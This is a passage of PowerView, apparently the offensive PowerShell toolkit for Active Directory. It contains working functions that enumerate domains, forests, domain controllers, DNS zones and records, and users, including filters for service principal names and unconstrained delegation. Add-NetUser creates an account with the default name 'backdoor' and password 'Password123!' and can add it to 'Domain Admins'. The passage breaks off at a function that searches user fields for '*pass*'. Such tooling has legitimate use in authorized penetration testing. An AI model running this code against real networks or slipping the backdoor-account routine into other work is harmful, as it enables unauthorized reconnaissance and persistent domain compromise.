            $ObjectProperties[$_] = $Properties[$_]
        }
    }

    New-Object -TypeName PSObject -Property $ObjectProperties
}



########################################################
#
# Domain info functions below.
#
########################################################

filter Get-DomainSearcher {
<#
    .SYNOPSIS

        Helper used by various functions that takes an ADSpath and
        domain specifier and builds the correct ADSI searcher object.

    .PARAMETER Domain

        The domain to use for the query, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER ADSprefix

        Prefix to set for the searcher (like "CN=Sites,CN=Configuration")

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-DomainSearcher -Domain testlab.local

    .EXAMPLE

        PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local
#>

    param(
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [String]
        $ADSprefix,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    if(-not $Credential) {
        if(-not $Domain) {
            $Domain = (Get-NetDomain).name
        }
        elseif(-not $DomainController) {
            try {
                # if there's no -DomainController specified, try to pull the primary DC to reflect queries through
                $DomainController = ((Get-NetDomain).PdcRoleOwner).Name
            }
            catch {
                throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
            }
        }
    }
    elseif (-not $DomainController) {
        # if a DC isn't specified
        try {
            $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
        }
        catch {
            throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
        }

        if(!$DomainController) {
            throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
        }
    }

    $SearchString = "LDAP://"

    if($DomainController) {
        $SearchString += $DomainController
        if($Domain){
            $SearchString += '/'
        }
    }

    if($ADSprefix) {
        $SearchString += $ADSprefix + ','
    }

    if($ADSpath) {
        if($ADSpath -Match '^GC://') {
            # if we're searching the global catalog
            $DN = $AdsPath.ToUpper().Trim('/')
            $SearchString = ''
        }
        else {
            if($ADSpath -match '^LDAP://') {
                if($ADSpath -match "LDAP://.+/.+") {
                    $SearchString = ''
                }
                else {
                    $ADSpath = $ADSpath.Substring(7)
                }
            }
            $DN = $ADSpath
        }
    }
    else {
        if($Domain -and ($Domain.Trim() -ne "")) {
            $DN = "DC=$($Domain.Replace('.', ',DC='))"
        }
    }

    $SearchString += $DN
    Write-Verbose "Get-DomainSearcher search string: $SearchString"

    if($Credential) {
        Write-Verbose "Using alternate credentials for LDAP connection"
        $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
        $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
    }
    else {
        $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
    }

    $Searcher.PageSize = $PageSize
    $Searcher.CacheResults = $False
    $Searcher
}


filter Convert-DNSRecord {
<#
    .SYNOPSIS

       Decodes a binary DNS record.

       Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1

    .PARAMETER DNSRecord

        The domain to query for zones, defaults to the current domain.

    .LINK

        https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
#>
    param(
        [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
        [Byte[]]
        $DNSRecord
    )

    function Get-Name {
        # modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
        [CmdletBinding()]
        param(
            [Byte[]]
            $Raw
        )

        [Int]$Length = $Raw[0]
        [Int]$Segments = $Raw[1]
        [Int]$Index =  2
        [String]$Name  = ""

        while ($Segments-- -gt 0)
        {
            [Int]$SegmentLength = $Raw[$Index++]
            while ($SegmentLength-- -gt 0) {
                $Name += [Char]$Raw[$Index++]
            }
            $Name += "."
        }
        $Name
    }

    $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
    $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
    $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)

    $TTLRaw = $DNSRecord[12..15]
    # reverse for big endian
    $Null = [array]::Reverse($TTLRaw)
    $TTL = [BitConverter]::ToUInt32($TTLRaw, 0)

    $Age = [BitConverter]::ToUInt32($DNSRecord, 20)
    if($Age -ne 0) {
        $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
    }
    else {
        $TimeStamp = "[static]"
    }

    $DNSRecordObject = New-Object PSObject

    if($RDataType -eq 1) {
        $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
        $Data = $IP
        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
    }

    elseif($RDataType -eq 2) {
        $NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
        $Data = $NSName
        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
    }

    elseif($RDataType -eq 5) {
        $Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
        $Data = $Alias
        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
    }

    elseif($RDataType -eq 6) {
        # TODO: how to implement properly? nested object?
        $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
    }

    elseif($RDataType -eq 12) {
        $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
        $Data = $Ptr
        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
    }

    elseif($RDataType -eq 13) {
        # TODO: how to implement properly? nested object?
        $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
    }

    elseif($RDataType -eq 15) {
        # TODO: how to implement properly? nested object?
        $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
    }

    elseif($RDataType -eq 16) {

        [string]$TXT  = ""
        [int]$SegmentLength = $DNSRecord[24]
        $Index = 25
        while ($SegmentLength-- -gt 0) {
            $TXT += [char]$DNSRecord[$index++]
        }

        $Data = $TXT
        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
    }

    elseif($RDataType -eq 28) {
        # TODO: how to implement properly? nested object?
        $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
    }

    elseif($RDataType -eq 33) {
        # TODO: how to implement properly? nested object?
        $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
    }

    else {
        $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
    }

    $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
    $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
    $DNSRecordObject | Add-Member Noteproperty 'Age' $Age
    $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
    $DNSRecordObject | Add-Member Noteproperty 'Data' $Data
    $DNSRecordObject
}


filter Get-DNSZone {
<#
    .SYNOPSIS

       Enumerates the Active Directory DNS zones for a given domain.

    .PARAMETER Domain

        The domain to query for zones, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .PARAMETER FullData

        Switch. Return full computer objects instead of just system names (the default).

    .EXAMPLE

        PS C:\> Get-DNSZone

        Retrieves the DNS zones for the current domain.

    .EXAMPLE

        PS C:\> Get-DNSZone -Domain dev.testlab.local -DomainController primary.testlab.local

        Retrieves the DNS zones for the dev.testlab.local domain, reflecting the LDAP queries
        through the primary.testlab.local domain controller.
#>

    param(
        [Parameter(Position=0, ValueFromPipeline=$True)]
        [String]
        $Domain,

        [String]
        $DomainController,

        [ValidateRange(1,10000)]
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential,

        [Switch]
        $FullData
    )

    $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential
    $DNSSearcher.filter="(objectClass=dnsZone)"

    if($DNSSearcher) {
        $Results = $DNSSearcher.FindAll()
        $Results | Where-Object {$_} | ForEach-Object {
            # convert/process the LDAP fields for each result
            $Properties = Convert-LDAPProperty -Properties $_.Properties
            $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name

            if ($FullData) {
                $Properties
            }
            else {
                $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
            }
        }
        $Results.dispose()
        $DNSSearcher.dispose()
    }

    $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones"
    $DNSSearcher.filter="(objectClass=dnsZone)"

    if($DNSSearcher) {
        $Results = $DNSSearcher.FindAll()
        $Results | Where-Object {$_} | ForEach-Object {
            # convert/process the LDAP fields for each result
            $Properties = Convert-LDAPProperty -Properties $_.Properties
            $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name

            if ($FullData) {
                $Properties
            }
            else {
                $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
            }
        }
        $Results.dispose()
        $DNSSearcher.dispose()
    }
}


filter Get-DNSRecord {
<#
    .SYNOPSIS

       Enumerates the Active Directory DNS records for a given zone.

    .PARAMETER ZoneName

        The zone to query for records (which can be enumearted with Get-DNSZone). Required.

    .PARAMETER Domain

        The domain to query for zones, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-DNSRecord -ZoneName testlab.local

        Retrieve all records for the testlab.local zone.

    .EXAMPLE

        PS C:\> Get-DNSZone | Get-DNSRecord

        Retrieve all records for all zones in the current domain.

    .EXAMPLE

        PS C:\> Get-DNSZone -Domain dev.testlab.local | Get-DNSRecord -Domain dev.testlab.local

        Retrieve all records for all zones in the dev.testlab.local domain.
#>

    param(
        [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
        [String]
        $ZoneName,

        [String]
        $Domain,

        [String]
        $DomainController,

        [ValidateRange(1,10000)]
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
    $DNSSearcher.filter="(objectClass=dnsNode)"

    if($DNSSearcher) {
        $Results = $DNSSearcher.FindAll()
        $Results | Where-Object {$_} | ForEach-Object {
            try {
                # convert/process the LDAP fields for each result
                $Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
                $Properties | Add-Member NoteProperty 'ZoneName' $ZoneName

                # convert the record and extract the properties
                if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
                    # TODO: handle multiple nested records properly?
                    $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0]
                }
                else {
                    $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord
                }

                if($Record) {
                    $Record.psobject.properties | ForEach-Object {
                        $Properties | Add-Member NoteProperty $_.Name $_.Value
                    }
                }

                $Properties
            }
            catch {
                Write-Warning "ERROR: $_"
                $Properties
            }
        }
        $Results.dispose()
        $DNSSearcher.dispose()
    }
}


filter Get-NetDomain {
<#
    .SYNOPSIS

        Returns a given domain object.

    .PARAMETER Domain

        The domain name to query for, defaults to the current domain.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-NetDomain -Domain testlab.local

    .EXAMPLE

        PS C:\> "testlab.local" | Get-NetDomain

    .LINK

        http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>

    param(
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $Domain,

        [Management.Automation.PSCredential]
        $Credential
    )

    if($Credential) {
        
        Write-Verbose "Using alternate credentials for Get-NetDomain"

        if(!$Domain) {
            # if no domain is supplied, extract the logon domain from the PSCredential passed
            $Domain = $Credential.GetNetworkCredential().Domain
            Write-Verbose "Extracted domain '$Domain' from -Credential"
        }
   
        $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
        
        try {
            [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
        }
        catch {
            Write-Verbose "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
            $Null
        }
    }
    elseif($Domain) {
        $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
        try {
            [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
        }
        catch {
            Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust."
            $Null
        }
    }
    else {
        [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
    }
}


filter Get-NetForest {
<#
    .SYNOPSIS

        Returns a given forest object.

    .PARAMETER Forest

        The forest name to query for, defaults to the current domain.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE
    
        PS C:\> Get-NetForest -Forest external.domain

    .EXAMPLE
    
        PS C:\> "external.domain" | Get-NetForest
#>

    param(
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $Forest,

        [Management.Automation.PSCredential]
        $Credential
    )

    if($Credential) {
        
        Write-Verbose "Using alternate credentials for Get-NetForest"

        if(!$Forest) {
            # if no domain is supplied, extract the logon domain from the PSCredential passed
            $Forest = $Credential.GetNetworkCredential().Domain
            Write-Verbose "Extracted domain '$Forest' from -Credential"
        }
   
        $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
        
        try {
            $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
        }
        catch {
            Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
            $Null
        }
    }
    elseif($Forest) {
        $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
        try {
            $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
        }
        catch {
            Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust."
            return $Null
        }
    }
    else {
        # otherwise use the current forest
        $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
    }

    if($ForestObject) {
        # get the SID of the forest root
        $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
        $Parts = $ForestSid -Split "-"
        $ForestSid = $Parts[0..$($Parts.length-2)] -join "-"
        $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
        $ForestObject
    }
}


filter Get-NetForestDomain {
<#
    .SYNOPSIS

        Return all domains for a given forest.

    .PARAMETER Forest

        The forest name to query domain for.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-NetForestDomain

    .EXAMPLE

        PS C:\> Get-NetForestDomain -Forest external.local
#>

    param(
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $Forest,

        [Management.Automation.PSCredential]
        $Credential
    )

    $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential

    if($ForestObject) {
        $ForestObject.Domains
    }
}


filter Get-NetForestCatalog {
<#
    .SYNOPSIS

        Return all global catalogs for a given forest.

    .PARAMETER Forest

        The forest name to query domain for.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-NetForestCatalog
#>
    
    param(
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $Forest,

        [Management.Automation.PSCredential]
        $Credential
    )

    $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential

    if($ForestObject) {
        $ForestObject.FindAllGlobalCatalogs()
    }
}


filter Get-NetDomainController {
<#
    .SYNOPSIS

        Return the current domain controllers for the active domain.

    .PARAMETER Domain

        The domain to query for domain controllers, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER LDAP

        Switch. Use LDAP queries to determine the domain controllers.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-NetDomainController -Domain 'test.local'
        
        Determine the domain controllers for 'test.local'.

    .EXAMPLE

        PS C:\> Get-NetDomainController -Domain 'test.local' -LDAP

        Determine the domain controllers for 'test.local' using LDAP queries.

    .EXAMPLE

        PS C:\> 'test.local' | Get-NetDomainController

        Determine the domain controllers for 'test.local'.
#>

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $Domain,

        [String]
        $DomainController,

        [Switch]
        $LDAP,

        [Management.Automation.PSCredential]
        $Credential
    )

    if($LDAP -or $DomainController) {
        # filter string to return all domain controllers
        Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
    }
    else {
        $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
        if($FoundDomain) {
            $Founddomain.DomainControllers
        }
    }
}


########################################################
#
# "net *" replacements and other fun start below
#
########################################################

function Get-NetUser {
<#
    .SYNOPSIS

        Query information for a given user or users in the domain
        using ADSI and LDAP. Another -Domain can be specified to
        query for users across a trust.
        Replacement for "net users /domain"

    .PARAMETER UserName

        Username filter string, wildcards accepted.

    .PARAMETER Domain

        The domain to query for users, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER Filter

        A customized ldap filter string to use, e.g. "(description=*admin*)"

    .PARAMETER AdminCount

        Switch. Return users with adminCount=1.

    .PARAMETER SPN

        Switch. Only return user objects with non-null service principal names.

    .PARAMETER Unconstrained

        Switch. Return users that have unconstrained delegation.

    .PARAMETER AllowDelegation

        Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-NetUser -Domain testing

    .EXAMPLE

        PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local"
#>

    param(
        [Parameter(Position=0, ValueFromPipeline=$True)]
        [String]
        $UserName,

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [String]
        $Filter,

        [Switch]
        $SPN,

        [Switch]
        $AdminCount,

        [Switch]
        $Unconstrained,

        [Switch]
        $AllowDelegation,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    begin {
        # so this isn't repeated if users are passed on the pipeline
        $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential
    }

    process {
        if($UserSearcher) {

            # if we're checking for unconstrained delegation
            if($Unconstrained) {
                Write-Verbose "Checking for unconstrained delegation"
                $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
            }
            if($AllowDelegation) {
                Write-Verbose "Checking for users who can be delegated"
                # negation of "Accounts that are sensitive and not trusted for delegation"
                $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))"
            }
            if($AdminCount) {
                Write-Verbose "Checking for adminCount=1"
                $Filter += "(admincount=1)"
            }

            # check if we're using a username filter or not
            if($UserName) {
                # samAccountType=805306368 indicates user objects
                $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)"
            }
            elseif($SPN) {
                $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)"
            }
            else {
                # filter is something like "(samAccountName=*blah*)" if specified
                $UserSearcher.filter="(&(samAccountType=805306368)$Filter)"
            }

            $Results = $UserSearcher.FindAll()
            $Results | Where-Object {$_} | ForEach-Object {
                # convert/process the LDAP fields for each result
                $User = Convert-LDAPProperty -Properties $_.Properties
                $User.PSObject.TypeNames.Add('PowerView.User')
                $User
            }
            $Results.dispose()
            $UserSearcher.dispose()
        }
    }
}


function Add-NetUser {
<#
    .SYNOPSIS

        Adds a domain user or a local user to the current (or remote) machine,
        if permissions allow, utilizing the WinNT service provider and
        DirectoryServices.AccountManagement, respectively.
        
        The default behavior is to add a user to the local machine.
        An optional group name to add the user to can be specified.

    .PARAMETER UserName

        The username to add. If not given, it defaults to 'backdoor'

    .PARAMETER Password

        The password to set for the added user. If not given, it defaults to 'Password123!'

    .PARAMETER GroupName

        Group to optionally add the user to.

    .PARAMETER ComputerName

        Hostname to add the local user to, defaults to 'localhost'

    .PARAMETER Domain

        Specified domain to add the user to.

    .EXAMPLE

        PS C:\> Add-NetUser -UserName john -Password 'Password123!'
        
        Adds a localuser 'john' to the local machine with password of 'Password123!'

    .EXAMPLE

        PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local
        
        Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group.

    .EXAMPLE

        PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain ''
        
        Adds the user "john" with password "password" to the current domain and adds
        the user to the domain group "Domain Admins"

    .EXAMPLE

        PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing'
        
        Adds the user "john" with password "password" to the 'testing' domain and adds
        the user to the domain group "Domain Admins"

    .Link

        http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx
#>

    [CmdletBinding()]
    Param (
        [ValidateNotNullOrEmpty()]
        [String]
        $UserName = 'backdoor',

        [ValidateNotNullOrEmpty()]
        [String]
        $Password = 'Password123!',

        [ValidateNotNullOrEmpty()]
        [String]
        $GroupName,

        [ValidateNotNullOrEmpty()]
        [Alias('HostName')]
        [String]
        $ComputerName = 'localhost',

        [ValidateNotNullOrEmpty()]
        [String]
        $Domain
    )

    if ($Domain) {

        $DomainObject = Get-NetDomain -Domain $Domain
        if(-not $DomainObject) {
            Write-Warning "Error in grabbing $Domain object"
            return $Null
        }

        # add the assembly we need
        Add-Type -AssemblyName System.DirectoryServices.AccountManagement

        # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
        # get the domain context
        $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject

        # create the user object
        $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context

        # set user properties
        $User.Name = $UserName
        $User.SamAccountName = $UserName
        $User.PasswordNotRequired = $False
        $User.SetPassword($Password)
        $User.Enabled = $True

        Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain"

        try {
            # commit the user
            $User.Save()
            "[*] User $UserName successfully created in domain $Domain"
        }
        catch {
            Write-Warning '[!] User already exists!'
            return
        }
    }
    else {
        
        Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName"

        # if it's not a domain add, it's a local machine add
        $ObjOu = [ADSI]"WinNT://$ComputerName"
        $ObjUser = $ObjOu.Create('User', $UserName)
        $ObjUser.SetPassword($Password)

        # commit the changes to the local machine
        try {
            $Null = $ObjUser.SetInfo()
            "[*] User $UserName successfully created on host $ComputerName"
        }
        catch {
            Write-Warning '[!] Account already exists!'
            return
        }
    }

    # if a group is specified, invoke Add-NetGroupUser and return its value
    if ($GroupName) {
        # if we're adding the user to a domain
        if ($Domain) {
            Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain
            "[*] User $UserName successfully added to group $GroupName in domain $Domain"
        }
        # otherwise, we're adding to a local group
        else {
            Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName
            "[*] User $UserName successfully added to group $GroupName on host $ComputerName"
        }
    }
}


function Add-NetGroupUser {
<#
    .SYNOPSIS

        Adds a user to a domain group or a local group on the current (or remote) machine,
        if permissions allow, utilizing the WinNT service provider and
        DirectoryServices.AccountManagement, respectively.

    .PARAMETER UserName

        The domain username to query for.

    .PARAMETER GroupName

        Group to add the user to.

    .PARAMETER ComputerName

        Hostname to add the user to, defaults to localhost.

    .PARAMETER Domain

        Domain to add the user to.

    .EXAMPLE

        PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators
        
        Adds a localuser "john" to the local group "Administrators"

    .EXAMPLE

        PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local
        
        Adds the existing user "john" to the domain group "Domain Admins" in "dev.local"
#>

    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $UserName,

        [Parameter(Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $GroupName,

        [ValidateNotNullOrEmpty()]
        [Alias('HostName')]
        [String]
        $ComputerName,

        [String]
        $Domain
    )

    # add the assembly if we need it
    Add-Type -AssemblyName System.DirectoryServices.AccountManagement

    # if we're adding to a remote host's local group, use the WinNT provider
    if($ComputerName -and ($ComputerName -ne "localhost")) {
        try {
            Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName"
            ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user")
            "[*] User $UserName successfully added to group $GroupName on $ComputerName"
        }
        catch {
            Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName"
            return
        }
    }

    # otherwise it's a local machine or domain add
    else {
        try {
            if ($Domain) {
                Write-Verbose "Adding user $UserName to $GroupName on domain $Domain"
                $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain
                $DomainObject = Get-NetDomain -Domain $Domain
                if(-not $DomainObject) {
                    return $Null
                }
                # get the full principal context
                $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject            
            }
            else {
                # otherwise, get the local machine context
                Write-Verbose "Adding user $UserName to $GroupName on localhost"
                $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName)
            }

            # find the particular group
            $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName)

            # add the particular user to the group
            $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName)

            # commit the changes
            $Group.Save()
        }
        catch {
            Write-Warning "Error adding $UserName to $GroupName : $_"
        }
    }
}


function Get-UserProperty {
<#
    .SYNOPSIS

        Returns a list of all user object properties. If a property
        name is specified, it returns all [user:property] values.

        Taken directly from @obscuresec's post:
            http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html

    .PARAMETER Properties

        Property names to extract for users.

    .PARAMETER Domain

        The domain to query for user properties, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-UserProperty -Domain testing
        
        Returns all user properties for users in the 'testing' domain.

    .EXAMPLE

        PS C:\> Get-UserProperty -Properties ssn,lastlogon,location
        
        Returns all an array of user/ssn/lastlogin/location combinations
        for users in the current domain.

    .LINK

        http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
#>

    [CmdletBinding()]
    param(
        [String[]]
        $Properties,

        [String]
        $Domain,
        
        [String]
        $DomainController,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    if($Properties) {
        # extract out the set of all properties for each object
        $Properties = ,"name" + $Properties
        Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties
    }
    else {
        # extract out just the property names
        Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name'
    }
}


filter Find-UserField {
<#
    .SYNOPSIS

        Searches user object fields for a given word (default *pass*). Default
        field being searched is 'description'.

